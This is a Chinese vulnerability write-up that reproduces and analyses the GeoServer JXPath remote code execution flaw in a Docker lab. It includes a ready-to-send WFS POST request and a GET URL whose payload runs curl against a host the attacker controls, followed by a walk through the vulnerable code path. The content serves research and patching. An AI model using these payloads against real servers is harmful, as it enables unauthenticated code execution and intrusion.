whippet2026-10-14文章来源:SecHub网络安全社区
GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。未经身份验证的用户可以通过向默认的 GeoServer 安装发送特制的输入,利用多个 OGC 请求参数,如 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求,从而执行任意代码。GeoServer 使用的 xpath 引擎是 Apache Commons Jxpath,通过控制请求参数最后会触发 CVE-2022-41852 Apache Commons JXPath 远程代码执行。
影响版本
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6
利用 docker 进行环境搭建
docker-compose.yml
version: '3'
services:
web:
image: vulhub/geoserver:2.23.2
ports:
- "8080:8080"
- "5005:5005"

环境启动成功后构造数据包
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Type:application/xml
Content-Length: 381
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'curl http://vps:8081/1.txt')
</wfs:valueReference>
</wfs:GetPropertyValue>

成功执行命令通过 curl 请求 vps 上的文件
GET 请求需要先获取 typeNames 的值,可以通过访问 /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage 来获取 typeNames,找到当前服务器中的所有 Type,选择其中一个name。
http://127.0.0.1:8080/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage

http://127.0.0.1:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=tiger:giant_polygon&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+http://vps:8081/1.txt')

漏洞分析

通过漏洞公告我们得知可能会从 GetPropertyValue 来触发漏洞,所以我们构造payload 并在 GetPropertyValue 的 run 方法添加断点进行调试
org.geoserver.wfs.GetPropertyValue#run

org.geotools.filter.AttributeExpressionImpl#evaluate(java.lang.Object)

org.geotools.filter.AttributeExpressionImpl#evaluate(java.lang.Object, java.lang.Class<T>)

org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor#get

到这一步我们通过代码部分 JXPathContext.newContext 就已经可以明显看出漏洞CVE-2022-41852 Apache Commons JXPath 远程代码执行
org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue

漏洞比较关键的就是在此处,利用 context.getRootContext().getFunction(functionName, parameters); 去获取 function 之后再根据 function 去调用 invoke 方法
org.apache.commons.jxpath.PackageFunctions#getFunction

会先判断类名是否存在,然后再根据方法是构造函数还是静态方法 返回
然后再去调用对应的 invoke
java.lang.Runtime#exec(java.lang.String)
